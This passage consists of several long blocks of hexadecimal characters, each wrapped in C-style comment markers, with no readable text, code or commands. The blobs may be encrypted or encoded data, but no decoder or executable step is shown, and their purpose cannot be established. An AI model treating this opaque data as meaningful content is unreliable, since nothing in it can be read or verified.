1c2c47311b71246e80955e35f16fd6bbe967162625597510c487a92735c976b46bf52503d3a3d22bbd86b28fc61dd31f08bacf6e47d4851c73269c2942103ab6c910b16faf5370e0788fb497c3b4a6a12d58921c4d86bc134e884da7b0b641ee83394fc416d09863fda0c1c8fbd167a38b8f82ef705ff19ed486a50b274f1f78fa9a3f469d01ceb8e01e17d1403d5c0d52d3804494c89d21f30db03f20ac823d7994dd213a0e653d0a56a96ec9c1b8ec2ac97ea1eb27fdc12604673b7e5d160717ca15e08dea84cce44f24e49c6f415bb7b27f0633fc1c853dc43ab87f1c87bd541a89a86b027bbf0ac673f6c9d29aafec7633719a4266eb234a67e2e77f304403dd5db929492d37819ad011ec115fd128bf5a99f9b5df6e4e18c096e0ca76b343e853abbb81e08baa27993fc3d7e86877a3125c250323f8aa22a2e658343fe91eb117bd1dd2850f86ee18192c714cb1fbeb85136bcf4e53226b09b4328789cf7e9945728845d585d4b8abc96c7e5d18b595d0cc14631daa073ff5f44372e618776daccd06cd476b6fa228911094e8b7de32cf6b42815b2e118074de4606be3ef7ffeabb7c57ad1ac2881aecf1de5b3862ccb8037cf5631de0bfef39cb86167567a42034098da69fddc0149f5baf00ac4a11d7ab042201351a375024137c4cc13d16e6a5835617189733bb0b985c3d43a4081e69e393f7d5b6cf5908eacce5b2a99dcde2d4e5d2d65e46750bb61fbcc10b4702a0c90ae3658801e5a178f22d6279870e0def6ce31206a97dc4aadb1dafdece420261215cf67633033f53fbde5983ea20c9a0cc059a844691d3eef3dbd5cebb1386ff420464154c7652b4536c1d7e8bb90cf1a9dbab1e0ee87a5265d05c5c1c9e62df5f72f9557da86af6af322b7c5fb8d436baadd01fdd95f26a4224227cd81c9e050fc85e42f15baf3b77bb199fcd81fa7da94a2360946cb89fdf2d625e912acf7f9c1aa49637bd47580d2bf080bc4e47ffc68b285705d6f76b3e10006158e9e46d1832cac0913a2f9d340ce3b429535236ffc219dbb24365e08f42213e94df894af6513712dd6d237536a8093389170ce35a411149c23d5bc270ff63f7887bd3a7e39371597c262e79d1941b1071a7f237f1921ae472b28cbb9f4cb701ee6aa55adf4c383cdb19e097ca2596fa8a5b6bdea24cda1bc309d0c02a7c1608a590a713635243199dda3670bafc10b6e4d56bca9d5ab80ae29545aa564e3e321640fe5d78a656692cb477a87b5f0f1214680415127a02e3c013cbcdb8d8e5c4eec6ea321c6daabd0bec829f701b71350db41b4e23e0c72accaa4ab70759c58f219dbe8254028ccdb111a2536724218314ebb8535741e5156490ec0ec2a7b71c955b6c46d383c112825ac828cfc29534739ecb6b3c9e5c395a065746584502862e1f9ca051449879e4e0fe7d0642cd3da6fc12435a872e75970ea46e4af8cb2f0801fdec0eaf596aa29c2f9a1b09d0d31537f12102c93ae34f2de61a3220d3767551504d74fee8ddc00eb59e819dbb140814b5a62cb811bae2e1c2c49332b3d876a1a782d67c8b1dcf8de2817644e9b4aed0f0c4f88d9def6d84c78452e53242d9a733349942883d0c2a6989033af808a6ded0364e21381c5f945ba9a9a25df5574dfb930867c10190c7c4856d82d29ab105c05086e388754ba1330db1eaf7ad5044e160d38cee0e205ed7d4f321057376476610da891c3272b37d2351a97230283140ed058bf7ca6c7ee5d69ce97af514559635b04a792b0c099fc5e6a82fd0adb6cef4eadd1a1c0b6cf402dc0c9baa4ce5aad055a38d207ee29674cac*/
/*9c0989a6993582d6e9f8586b1b2e47d996445a1b46f3a7153911762a9247f87486090c1745d4daaf287e57d588aad13ad69ae8e47739ad5d7d65e9fbcda556232d794b1e94948fed1ab207d4d198ada37864897a487e54a20c59e1627dd2dab070b564f153988176fb66ae4e748fa67a4e3bbfca7f2db7ebf6481bf933a59982ce6dddbf7127b9b63afc63ea81fcc7987bfa9a7d88303d3f77006609ca7be066d092474ce10149f12ce81c899b8920efd05a0b7e32ebdda90606e039a475e9cc054447b695825e54f27881026c132cefa45d476529e29d027a55ea8948f9b5e91118652019b825d8ee532fe96e9c78e0edc67f9ded87ba3b366e04f635cb2a8067f60ebe39c4c5934e89546a964343b08163f3471bb7f60ceaf3a1a72797a8df79b968f21e470b81655198a8b20b66109fe63094e6e08dcea6915bd8b48892d41b8cad7c6dcee5ec953dd63700153b6f5439d7173957127af33224312ee24050650c87c2e6c91f0c789b228227f88355d6975b4d5174bfbc089fa8566aa1cde175b27a9c25aaec551a8836f71a8afce1f27463f4ab079a9d40c142b7167e677161e2cf2230b2a9b80678222d3e8a5439319ce024265edbf447627addd01ca9995733fb255c4329feaa0800c2b8aa0ad6cb447f3dc9a458f1563116969b51024e655d7c5d6498f5d3738266da5750c57d24bfa931a40e02a9c39747d73e8ce155fdf9907573add2c2275d0d9e3f3c8698f2d3f9742fd1134cbc098a89a8bc591eeb2ee0a76cc1cd37bd766f8949b42abc148da8f42483bedf740d13598fa56f83ac12badaee9d8346e56de7d4ad87efbde60f225bee721e4f2e338ca331a4281664342c5d7c1b7710c8764546c9dde66de65881ab75203a77423321bb38760b9bef25805a57e1651efc2d0ba4cfd0fbe5386ada43dc67cdf47e3df030356e07ee1fbc278f825327da8dd66685db68267a86976ae5f8ec1be55132ef327d83771c195ede600710c4fde45388435f56ec4401c457d2d92434c9f2266585b1045503446cc58fa2ac89379edfa1756b1212ba61e36d78501af01e35e4238cb1b7ec4923a397047176c0daf09d96f04c885cf6b5b96b5b9dd2f24c52a5483314936791431c05de7ba1796464bae359475e5e3499d8dae5b25a9e4a49e01e76b2ccd5c9bcdf4a30587d3d6c834bb5dcc0e83099cf0249274f0393aacbe011a1b1aa08330ce6514ce0f4e7e9c878dba82587d68d80ee2465542452c013fff7d19d08b3f66bd8cb2f56808136b4dc69114d4583fb2aa2c0fabb3da0025201776e581aa7665389a23efb2bff4305bf18a1d8b4d1bd4971c0289a1c1f4ee76379175be5cf50b3d7ca854d4b2a223e81f37b447e19469ef2dc0f70ae02b8ccd63379773705d731a597c167650661d489065878b64caa6070e62b6087488b367598bc1db37837696d7b75b2133e7212daf1f25487588d3fdb2e6c61354a606a25f0c8bb9b0fe90b18d198e3958c83d938b1e11f232290df39e30ea847823b0d10442855df018c518883cdf045c9fe7e6cd2afd5b2b956be1bc5b437aef6c12add38efc8586013d20768e82017c0c61a5347cdb9dda09b6d048319bcc7664da32d6922dfaf9d0511cd74e64abcb55b755ae8c84628a8773087654d0d77e7769d7aa582ec0e18a80e77122497aabc371a61831d18f01be523798b5263ff5f949e595696c043813b148b9da4ae32f28e6c47c91cdbd0e6a29a1d813bdb624ac5a2fe27a9ac99e1883816df90fe3aa10a700796b9ac85e507f32c87373eb49a47480657859d018d3a90453f61473ee81eaf6ff33b55cdbf9aad4883077347012985c6f25d0dd46ed6bf80ce3fea6c90b60085127580ca5de60130c21381d8f859603e6a68e487c933746fd317d973ae36f77b46596b032e05aea76b0dd58605b622027c774bd9cc23196f12bd52ffb8081d8521709d77d20f0879b19c0acbd8cf525fdf1ebf1a1128baa5bfe7c7e7418c55339068bb7cd0019a4649ef64988ed3c4c994f440a266d95e851a2b8b5919efcb4749bf846674ab4244cf8e39b262d01f454ee9b218034d280bcce33606cd8f379baf8ebe4be6a79e1c131fd8246e50a30c08f8a171e754a62690f72f4d46f41eb0eead70ec17e716088d220802a60207a447064fe801de06b98991357423b6e1725e829ad8b4a077a392a60d4786055c631d1b8389f1a69ec8832c418235e57e6c0da61148e654f53d7c83d804626a7d82e742805005726f502b839eaa34f2fe1ec5cbaac5b65805df1c20bb976a4200527566e447e23bc7a136b305fcce59c2d388568b0fc104db9d5210cb613b223bd0c666102cd00d37217bbc8a4b175a0ae1371a7321c87231bd5a8fcaaf504741ecdd88b03023698830e1755a2ba9fea1096b34c8176f362596bc7f089962d998fc300c30f2b4bad5ce243aeb7127a8d6054b1ceca8f9ac9968eaa2f2ec62fcd51b53a26f2a78f64996e1ad3b2b536d640122ff237e827788aa0dc9f9a2826b63b357802036f6ba6fc2c653dd9ad4afd1ee30d7c99041c0f0fb2763dfa963875536cec41e3f3ad29f7d603e29dfdc27d6c60ac4c128b100edf15cfea4d2ee01d011624c556930d7fdc9c1a201056fd0eb20f193a1238b3adaf9f0b1e9e06a5770b195f0c0d503706bb6eb66689f97ca033df36118d94b82a06099c1cc4465ad3c26c61d8bff917a7e33d63b1ca56c038c39d295be682ca3a53d80232e444afc0db0fecf1f009147914acd2f97cf0c2ed205fc0b337fae5edc3ceaffa56976e802720b7505870b89aa49357fb72d6012fdc89deddd20c4cc*/
/*ee1a261a4c0762324e7d9575d68f6b009b67148d04ccc11d5cf5a691bd970ba55f9a689608e6ea5e0896c9dd36a56ca131dfd30aa42c4581fd34c61d42ca4832992553550cc076aedbc5126b1869702cfb1084a20dad3facf2c0fd8ca183ec357180b9d469e375bad9bad120bb6d246b04f30e68bdede96e732895a06da2b8478fa20e67e9b5fb47c526bca053d427a47496836ea054e279e51fd8b4333e62f5e59484b343973962c8a863fc867a9ca3f916297fee4df4f079b2dc0d355a355ddef2e998d15766ab7a985d2631a16a59ca63b7a3e2725e7b22c51a47452deb10151e0134f00b7a09cad919e930ccf5298ce939031454e7662042a08bbf316f240ff90224c7ab63637480ea08e220eacab2357f0dd0b4ee2cdf326e2b64a30d63f537d65c03d697fa825d9c15e21a1b7bf71a88e4704fa6fe44596e80b889da5d463fe4369a9bbae4b2ede789400d73d40b59a2bf8dbe951a8e320014b20cd89ce5689c4d6bf498391619b2584997e902957457d0e84ee741c27a90196ce3c10eb4daa17d75d2bbf8e7ed748c913fadde744dd82007950bf2b6ca84911cf622900405d639b896bebb6b49e0e767b6cd5bfe46da20f98341192d1255448c49ea5508bd383602287ad32a6f7249844d940798a04627f66c19f2c1f1d7fe9f31115bf4d64a39721faac73750f42fe2dfbf79786fef08c2938ead8d6a6aaf078245754cc96c7dbf8bf866370f7137598339d139402ceabd5bff5c05c964ddccadd8a08698c6c5873fecf5b1a1e1c859a5ee7cfc0ee4e0c444cb32a156d14b93eae16fb22785a73e0c85de7f6de6515dd08d013eec85e6c5906ad51706ea16062b2da66940663f4e5fe207ead361274c395f98bcacb1452d07a7aeda8d784b7fe33fc6bb889d607b1582b616a8baee43bfa52a22aa3081640c09f8b096239a659166c0714acd441d983a7e503415f65e551204a939f580db5e3c512fe11c74ce03c6c9e86ca5b46ef4b77658e75a310857eb247eb1ec0536e44e99b0f429e86a433fa2ff9fd7fea417a4da531c1277a6747e2712575a2ce8aecbc7f5c171b39e46e10d7ea4e653956453cc7f3628a3a60278f8d30d71c97760c0c001a19cba44406975e3e578bdd6bb2149338f3e96fe930a34514416e0403f5c2a9b4feac03d5283ef5a72edd2b1bf82a5141b235ca872823f98d5d97dada44f527d0a8bf3be1f7899f83b6d675871242b203d50529c276994661b794b8b43cb44e5ce31634822a761904a5c3688953a45a2b8b48dc2381c9c5725f0bdfdeddd616d8e231a17e682287d40248704e31c2c981f57db8b07c4c766ae00f6b28e03b76ad24141a418564ab34462653e9312d9e449571e770701134d93b6abe06a8f4a595f9be58cab4132682b72406d7a66b41e10ca81dc13657c4c9a48b1452cc46fa8e2dd4b4326a968debe6a7ba1ed8c053923f168822b320a6809e847bc574ad47e3c41f393cee800ba781b00f6c237235b4d858212b62136b852f8fb01188dc669223a1032b7f7e10beab2ab0484ee0cc1aec39c0a3f9da2cbcce5904bab2752ea60f702e58d7c7377377bbac2ae0bfb65f9db3d793f3b1a79c028498ce799bb40aa4c29e19460d0f4c4b09f2c5c670564fcb268eea128e8afea34c0866252daa591d098e03fd1ca8510383c58aab9786724d84d21290611735065c77bb0e5fe2e4d18ab27cc6d66502c0eeee0a3936880d0514cc3444971f1d33183048e8d4e32bc85b08e917d1408f8dc6ea5be8f7820de17b8eeba32551f1989def398ee241c95e7f9de1562533235e253c8bf7351e36d77995ef662dcb9547f9b168ccde6531be42585c240abd8e574ccf46f11ced1c306e757efaa8d84a50ce0d37919fcb20c131fb785566b132445e283151dd35102c63033e553ca3f349e4351626943a5400c138668738904fc1780903f2bdc257b9da50be7550d53e7286b8a3deba5af2d834a79517affe85a055efdbba119dd7eaa678b02d0b11c560c49a4fd0383db30afa01d164a367f0ea398f12017110a2bfcb85b92693f9fe2d31c3c27073f350477019820c20d135008a490d8d90aa12efd0412e7405dabd5ee2bb2792259d9f7aee0d7a9ba70aa2b53f65befe2e73a5a692c725dfe9e47baa182e548b6c709b25967db695e13a8cdb7f3b2b18802f9c1c22818c65f6b30c959c55013999cf38fbe6fd80a6341cf36cc6fa4ade95c987344a4ff22f5ef41e2b91bdb54e6545cc8c1b9e6948ae9a1e382a4ef6923e674721e022da22843e2c565e1cb43ebf19abe2715007956e594d4c2bf40065903e1ec38d75eb0047bf6426cc33ded6bb8ba0f097521b6393297039fbeebc92745b8ac1e5bab61070c8eff5aa02e188ad83fc5212681aa06a16bd5b3d919193aebe41e6967ad02ab3e18a2ccc8db6f6059ca4aeb8ee8bd25b8e084317c889e156d486add3eacf5689620a7615bae44cd946388ba3e8eafe248314188b9964fcc4013db9fc86f78df256a83f9b02389b1727674ca8e8b2f6eb772d0b928a9db8d94661d71ad9c4abec72af77fa148731ac5f8b1479fc13af799b74cd4c3a79ccfaf09ecf7ae7eea9e296efe8ea21d81df845efc78bb11e8667d0bef87a14103892d19bf79e41556d25b2db0a4a8af9ef50b8d5a6ac1a1d5545a98f616746c8269cb698766c6ab65a2e0b432a0b485ed44ee9f4788bff91f3b28efccac70ca0c29ab502dd1cd91a946546d2a566fa1b1570794c066fe604c8a01f56905838eb82cc3453d430f75de23fb3fd4566e56e9450e09989b6a4194fbf1d5f957ad45161d1dc6254211076650ed*/
/*19c8246a50459ed04768d9ba3e41a0751c5a12ef50dd3e8a0c2329b8b59e2f4ecea6bfcf5197a70f660245a3bc42ff5686a9ed93b64a1e26ad4ced5ed43757be7ac0515a8d52886f020f667a6750575c9706b7864671c3844e51a53cef0a9127e35fe955983879b8db5e948425d15086a995d9440dca6ab9c98776452c56ab0c11ff78b6e0992ce14b4ade1f63f70c422fc0b3aa8f166422636d0e56fa437d4ffc535c4e6f82b6c0b50205ee651941776042e1facd519227291174a73c6fa23eea4446850e2c55fe68f3a36830540ce4a75b87312b9ae6b7f3ab4c5af5f7a08de12641a27c66710a0f58fff7799c0f06c08f09f8b3779e0f9d43bad9d2467bcc0c6e60e390c9aa036c645df6de96493bbb8f0167b9d3db92e9c3671c6de2e5270d3bde0746a05cc9606edff718c74ce4b566cdb4db84dfe389488bf93c9a42865869f1f14cadb47ea5da7221bb5ac37c6ed14f2b5ba6f621205c72920ab31050dc21aed3e352229c90937d3e7a6d39db652c20377eeceaca484be6b8bd7949b168d44674507fbf7f1270c58e14493d24825a982ae8355d3eba50cd14594d8b338c7eb27dfc2fa0e6bfc1cff0e35c6233282254bbc5d664ac68f530bdbbe1635d861428308e77887e6fae8c6b3f92edfcfcf85fd5e903f0eeb3430178a7eab086cb929aa54eb99d108c73482a538c3e9bd6cc84be7cefc8469d704f8994a3fadf7eb9110d68937679bcdf27a396d2091330e0b18348f0d62d389215e6c911caa8337cb1b72185854f0fc8934d5c871c98d246df4a35c6d0fa9bea3b3a9d4738f8ed0a0e75004ef17cfdc0e50ce43b8c8b742d690c72abdc428fa1802a8800f2dae983f868a69f0e3455b25e2ecd93436cbedcb16fd8955866fda00ffbae9f9d7b49faf2022089ae48141d437b850c2a2812f99fd13595b1b2ce016b97741b7c78cfe7470eb5be8138343acef9b9ea71069e4acd8f02a25b540667929e9e3720aad6c88dabe00eafdca104aefdacea16c78e591f108cc99c66faa0ed329e52be7b4e35ff28ec874f2c56f06fcdf09347135d2b548107e29ad91d536a555bf90b50bf48d7abaef9d5acdfd30b44df43c4c8f00fe7fe7a985c99e19dc88b25792d075878871eaa0130d9903563622745badeea002971236e8ab8389dad3590e1bf4eabb2987e38af2c8af002b5910fadc03244a5b8dfa3de288ad52b3e2d19178d8ef0054277dc4a92b1d68be675767a76ef8a160f0c82e842f5da0f2b2a7f3c308fd13da8c9b083098da4625e6eb7601bac05d6b9a98148ad63553288e66cc14107a8e21e6e4a4c8b74873c7557ba7bd54137320b2bfc7706093e7556d711b836538b6d54084d2cf3f9986b1a94017f97aba9aa317d902c76a4b900e28fd01a79978a51b2d1e914f11c6b04a58b0b644d951196d7a57fead391eef44193819653f1c5750458befaa95809bccef49d0ad096c47d98882dcd5b7180beb00b7e00b09053075c4bf485ea5c3f5b1d12b9cb7ed9cbb22f0bfa8215a7ed58d219484bd72c5a90999ac87de5a3d6887733c90a5c56d6bffb693d82e941e4461947fe24cca9e9e62f0dccb5587995e3ce371cc86de5b52155fb84a42559c247ef51cd7db6ccff65e94979caf7260d8aac877e8916d9a215224095502a349323a72a60d2376fec44257db285c3636bdbe25af33b7481bb3523278b05c23c1da81051ec3d4e7a4509063ee045a76c52e5bb7796d01b86d47f2de18be728583442105b78f6d95f12c27f47320bbf5290e983d85a0479daaaa567b3c16eb39d2b7c9d9e7bc52e8beb757ebe18d324c505a98292eb4bd4a1ae6d4b02df3048903fb39d06e4ae605002d272167cb24afa063877c961bf291b2ef72cec2e1d181c31d4675b6ad13a8e7bccbc209b9234cabb83ff5a6df9fee306e30baf30b868faa02d938ee980b42817152d5b93a62cdaa60702f030eea337484e6d832b712a140dea79479996ec3792ee9b0902d37626cc34ba099c9aacf3f273047523fd6a1d82f4e0c34e31e7a8b121d789f162ad512ee297a48f902c88b80a28cd2c7755f8ff4c17d6a37b05ddba3ba6829630b96279036c337a26ce546ddb58db99355fe06b5227e6bc6ed51bb11e405c57484c021c57c9e3ac13376153e8514e83a88804f9f68659ad18674da1884f83fa40634bbb76c7c156db793fc0a7ab34e978f934e24391f39d050173c9afddbd442125bcd73cadca4645ad6293c5a340dd16d3ae1d84241792811dbe0e8bca8445bc3773f619e7676882bb6d797560ded4c1722aa6f6a6e0adc6da6617228c07570a3d959c9083e73599ab81e77d7b77c9c802ddd57260dcc935811ba24d593bb5c2a7b188489f09c95c25f2b8afe13b7608ba1b80f5378cec033691a24bcbd7f04450e4f7ac68415cd7c9b9a98bf87e2cea624d3fcf3b715bd8891ede1d679892880791fa1598d95c87c4df68b00333b554a3403e32353ac98281a33c2726102a641ce2b6aa098595d680ebe80cb61bd8c0d47119d319e38ced81e67c3c7b822d1c25fd3907a9841c76b998e94c8145ffd8b8b7a554cd77e453d89a35d7775a4d20bc5740c2bbc7d3bde5eeb1a06b223270ba192768b34e5ead6c05f6eb1eb16fdea375c5e396622f912be5811be2920b9bcc16f460d3fcdf24319950f1dcd1614648e5c88e87e71f9cde8cb9c7c1613e3214197a5ad71d338abd22fa349b7d80e1147759ab5f07a49b1357460655b2923c5a82d4cdc3798d021bdc0a974b29129229e2264031fc0ec8798db723c333b24123cf70252392af03559ffdd00c6c85db035a4a3baab7275c67c4*/
/*d14680a613c0226051934312f1e45d1f44970cbd3a78e4d60a2526c2820d9b57dc3b0d46358f0641d6c6b55a9d1432ca3ad6d42ef586d173f0bd2f7036380aafa887fe27fd6dc27f05738c5f88deda56f1349e081810a6d633151df5c0de7c8511bc66f0635a8da5b89bac2f5712a8f28aeabc2107bcd16be1c5d45d92167ff3dafa660c5d3b5862a1de25730a701d3b9562ef25d57589211385234f4e235079b333e8cdb76becc1f9812517b6d724c1f3f9d8c19bcd691dfd94d418745a0680aa257d79a0b2534aa809eeaacb5220d94627f3cf3e40bc84c7277e8eab353bdabe967356b360d99053d87502f67be16ab3291dd4df2a4e4eb7a8e0421659c65ce62ec73d96e62b5a3ac77568da3743ea224341b3e58a6d0dec9a4a01da530bf4f27c6ea31869426694293d4e6a41d6b376dab9f315b526bb1e02e143e2fa508e611d2fc71215f7d0ef4f78e9b0dbcb839b0d44d0ef6c3cda12caf4ed965bbb08b132787535620c117a4bba9d09b58c6b1f27949a966f08289dbd236436b16a30a5afcb3afb815db8e2b2979ff2662b9abe907fb8fd8a5b1613c3580b4082fc95124a2a1f027abe6d0be608fff54b9d2fa2569007dfd1a799dcc0775598ea54d6104d9858d81cc1b85f04feba8de0ad7fae7d543cfa97b70d9304425d34c7304d7fadea75c2ee41d85139ecd6c59985b674b31db462a54f8b1920e13f3d80d82fd5bc6a53dc341ab9e750ead9148977939701262081794a019a274ce5441682964444f8565cc1e2946d6abdc26bda30dce31d583bf1dc635c6554084225f495d2396e95260d44101203b6969f709ae7a4dedde7439481effef5bdf5a5e0926757dbe7ec104b61858ab7f1f344f1b51ecfb588120b957673148542c6bdf8c24a9fed79b24651c6723f8ee82c9cc651eb428f9c922489aabe0e3ae7df0e0c440de245eb8ae75e5e9f6d79aebfc7862cd79881c18a9d7fb0cd8d93f191d4bbfe8a43be30749ff9d7f6efe398ac2a8caa5668dc8c89ea0ea6f1d95c8e43be6409114e3f99e93fcb6923edd06eb1b66064d4df40fb46e623a6e7acdeca5a9959a4a7c1154a7edbfb6ea110c839686bc8ee3276701e20b142505d67620cbc6fa0846273b90d7780925c134745aea1832b3fa57bfef4467a818bd813d3eb58aaa804578638537c795a612c3fd177a09ddaf8efc76baf455ff118420d148e0157494f8c26c46929f87f5a7c580cab061fbf2dcfee1af02f989656c5999cc29f5900f4272410288f45ddea6400b472f4ddcc878b361029ea5d460be15d6fa325586d26b7536083cf36e3d332ae4c8cccc11b3f0f46a4849d3f9c4bb3a5539043e47deddb688dd5268a3a0cc571eb17aaaf976118c9eaaf9b875769f3f0219ba46832d735a380e4f2e3a3cc6a228ce42004647e96a2a0dd1a2d9b8d53271aad222a41c32b4886e6e78da15cbaae0d6d12fa2119ba343047a2fc6e8315d58fcf8bca067d1051485b2b266cee9f69b09d89748b78468cf33d18b61fa41c96c48ed57f5893e14def515b28d58fb3e715712e3c75d19d2273cc2c3da8a62cd20120cbace3e82ba52297e969c7d421571a298486516578230ac6307a28fd8d2b01732f6d23c7b482580b18996c20ad56fc860a475753192f2291d96b8968591061f1c6dbf4fe84f8a132db025e281dae5205da49233d1da2bda8f13c9bad803a581d843174a23e4cb6369145a411a6c994514fc11e10d1a88c790382dc8543abb2a88defc310ad932b60bf7a2a1b16c25b157ebf16a014ea0217616bfe0015db8e562d2232bc1842ed97d6bbdbccb843b71ab1b6d2232e14f3315c7c246df3f65d5d4271ae305aaa6d1c39fe6690bd04a55c617fb5dde460316e1ea5e8bbd393b904d0be4fa208b01fdafba06d44513c9f0ab12f28106ebd69ee3ea3799091eb6b81b56104564b56c7bb5fc3619a23bd10e083edc12a43155263bf96471906cb7bf821c6187f5c9b5d8d92dbffdfc41a6a3bb4ea20cbdf2a07209b0591f7c1f7436a3055582c524a91ddf7b5066470af4a66fcc50e3348a9e7a353271e148f6c8f3c7eeff80180c256fac918e2fbc72a260dd28d3907eb272d0b57f58ab5f29c52327dd894f5a2621919831c3d427d1e0397fb3d5cb6311f17eea54a26defd407f68f2ee4a60ae61df93f34863b2edb3f81ddabface3d70df0a4dd4f95382231e64d6a46def560247d5ed1ce291eac870be58233f59ba4de6cdcef84da8ceea45170703cc3573ed53718f51f6c2b270638a09abfbc2ce10afa98a174068613844b3f043c71ac1fd8c07f6f8fb59608ba96a8f46bbc473c3a3ed0283d27b2973e5e5cf81f8c01a37da0445e49c41a0cf9463bee62532825152731ac034253eb3d0191d9dd128fd754e2197aa51e226afc7d6a67edf6feabeae80a60599bfd98a8737f811735ace401c5ac4f9500889f440de7654abc0677fb07db10e790cdb3544f4eddf9b93091ea49a741f21eacfcd620abd8b786366d115c56e2fc8330a8c4a5484aa593fad7cd911d56fcbf00eab5d79f0b74803af73a3383b41190f56f54dff0430b7581801eb101d5712141f1b968962bf7479c82034091b9733a730843671d63dcecd6d2293aba24ad3f0cee2e3678917ea3e8655e157f45b494e1bfb8dfd82cfa6fcdd269d76bd599947a9b9c1d96fd7669d89b420c13492a234806776989b6e57718b1b951d9972bce0acb58d639eaba16eb75ad870393ed17e6f1584a378478a27605ff8faf82b2da74287139a15b5eec8c9611cba7c3e6ed52d32d9f8e4dfcafd9a7fc08a41c302a01ca3b64b73dd1e70a1684*/
/*0f1dddbd00bd1c4ad64196003ecd0512a729ee4aecb12e0787c55827a121dbb1ba64b8964b8bceb91c3b1aff6dc95d77a37d18797b57b871a16f733475ef1907cfa84d45e0fb0ea5e07c4fdac973940177aeb48ddaec9a6885e61b9164ff9d644fa5ade0a359dfdd9ff6f1a5ea0dd9df448efb1c89bdba9369dc19cea5ceebee6f5cc120d69c64b1a1bca385f1a9d2c3db052c45383c6d3c0a31b81af350c2cd98fb6c14c8b9591b8f69fa17759cc71b98520d51352b334361164cd08ce97023e86bc00afe284a9e1c6bd075341f7a40b449ed57e7dc4d8c31d730843351340f62a4c35efd21b9db2632298ef7a6e00fea6b91e192f50f0a446f74dcb69b7857c83909a40d17e70b3e32ee130b5ce1f457918d77621a1a51486296cd17a132894da016e379b9bf233c590be3c79b57716bf63a6732ff8f7e7527df4d8d92497ca3fbf4fb67a0a2dc8513a72e1de6a2cddb6610bc370ef0386db2003ccd49933886c03d6069380aa455cc03fcbfcd36d20dc36acb0f7ac46bb2198823213294ba259030ec26b8c2ecf88d8ee924c71aa1738cdbb20bac8302c215e996a8d9ecb0b1601c6fe0f6a92b7eae90728e4a82f73bbd7b91ebf955badd16738a2d3563ec0f8d6edb570638a25f8b0f42dce1987ef52e41e4f862de42e4b2ab7300c5cab727f1f82fd480edfc54cf5034dbbdcc6f4468c0bc7eca0953e97b38e73fe189db305abbcead78e9a4472d7723dcda77a8de0732d3dc744e618d2fef3c1839e1e957a0906a1bf3df41cf2f85d148e24464d6a1567444e59783ca9fa748c87e80cda51345eea15be078bbac0fcfd4e30993532242d141d51ec137ba87a5713f0e197dd86e922aba3a75516ff6f7c08634ce3c635d7fb8f7b484ea3a3a3c396556163215d49deb94c7cdb65c1db2558aaae680ed0662f951a2cb6a6b80be623a1978e1c6424c5c28bade9aa035bb26eda675e76c2fe8fe7834004226c16a07e5e80b3306c6dc123556aa92a0861a878f1dabba50785304e4430afcafbfbc214bcc43b8439575a538a264b7097d159153a1adc66b053a3d7d1ac309c0ffd7bf55db891c1a0daf3a2a6706f84c53f9a05f0800ce57736afe8a5e3a1b02eb54726546fd71f4f749a6bce28a22905666f72aa7897a46540ff7113abbeabad68ea21a6f3b3d81c0b5efb6f6739a16050b25e83bd0f2699e0bba8f04d7b2cc8a5a412b776466c45291e33328df03963f8b316265901e9dd9bf408107b5d77cef76914a9943e8fdc6332c60a71a3a56a4bf48fb98cb82359da2e0c19612efb71161839880ac27b5019768d79c6f7feb94cd837c1bad50675d1b3487bf32e1b38d54736e9851f61344d48215ed921db184bfd6800aeb8adc5fae8ffdd1030ab70a5e9031317df5d36c5ade450fcf6c8d93ae35934d5bc73f639a984b0d654e04acc5b77ef30a283498706318bba6aeb14bd552156853edeb6ae6fc7c9489cfe0bfa4e8bba276d2fc0448ebdf7050993bdd92a74e75b8dbed97ab51bc8fb7b14b4227fdb25145149fc17d3f8a257fb39545335caff8bfa9194882f202840b728a1a9e77add53f01d967dd58f08b51a20ca3dc43840bb7196496559280d803d444f267b962998bce1cf7aca17474d14dde6c5a4810e6126e7261a45b82ee7d2f0c20cb66b4d463264ad363ca1945cdad14f3c237df582c2d2cddfee072a282911be7c2c7de870e22ffc6243eb7f7c6df8f6a3844fb17c29044d7bef9506803c5f836286afd8886ea2ddb9c21fe485e9484dae0e183a493011fff7a8ece5c30ea4f3f8fe8dca292de878f9d1b005dc46976be14023a5e20dc27d7dc50956e7223e77a5f4ca56c3225a803316cdd1e9a62a6d5ee3b0bcffc44790a950db0961d659547a706401cb6e034a826527353394f0a720dc7b043bac2d9202f177bda71cf02b7a238eba7870c0c5738ead7f59fe9eef8e4254348c13df1203ee3b014c067b51214e32904be5f7084a788386926fef72e485ed6293f99bbac7abe574e1ce82139fae1dd48f5f3f65c4321bbd74d9d8914bfe704f04c1928cf0335898a5c85543f1e6d1240d886edb3b5d7676172b1c5c20e2126dd509d2fd35d4147bb23d7038953d9d639e558fee2d0ba872ef48d84f9394bf99f328de2e0b54f50007cb71932870543b0e20aadcec569c9845c8cd62c166fabc8221436b8c82e2b0bb7a7bb9ccba58d5e4ac6bc92955afaadefa789389e4f291409a89d7b58fbee87be0c4c58ea9d958b9447970d7d2b90620df4aa4894f5596efcec15c0ead39002f5a5975dc94238c75d824497feac855c1718cde292f8a7b0a0e2b5296420f52b810553b754aee4407911a1c2303eea7100a7739c49308aa400f06495c7e34ba003e98ef4110a492d37c661c0c38b40b63789aeb2a798eb39f0da296c3800c6143fe8a75a379928b747f93287745d56ddec673c0acd5eacf81f582ce5a3126b8e65f57fcfae31b3e6e6fb75001b41f71b1b11f9006d8240f52730a1f2717925b8c3637c6d5c6951d83c469314028a721e78df7476be6d80e7044198815cc04cb75b37484f478a1122cfe44d82d4fcffb5af0b884b30d28f4ca9511aa735dc1a15ea1c55f988618fa4073b8ac5828414ce9da61b4f6b05ee254d82a12832beafbcdd3981e98514e22776e93cfd0001a886dbc1a1f98f5edb8dc382c11953b645fccb071f31bbc0c7a1839e1e267cda05435e127b349cc6e3d68f725a650fd921ea0fd26531a643c478ddf64db284ba6f808bc444bb25866cb08323267c1eb4104a3211205c578319cb77d14cf4bd723697439b1781d872966d3f*/
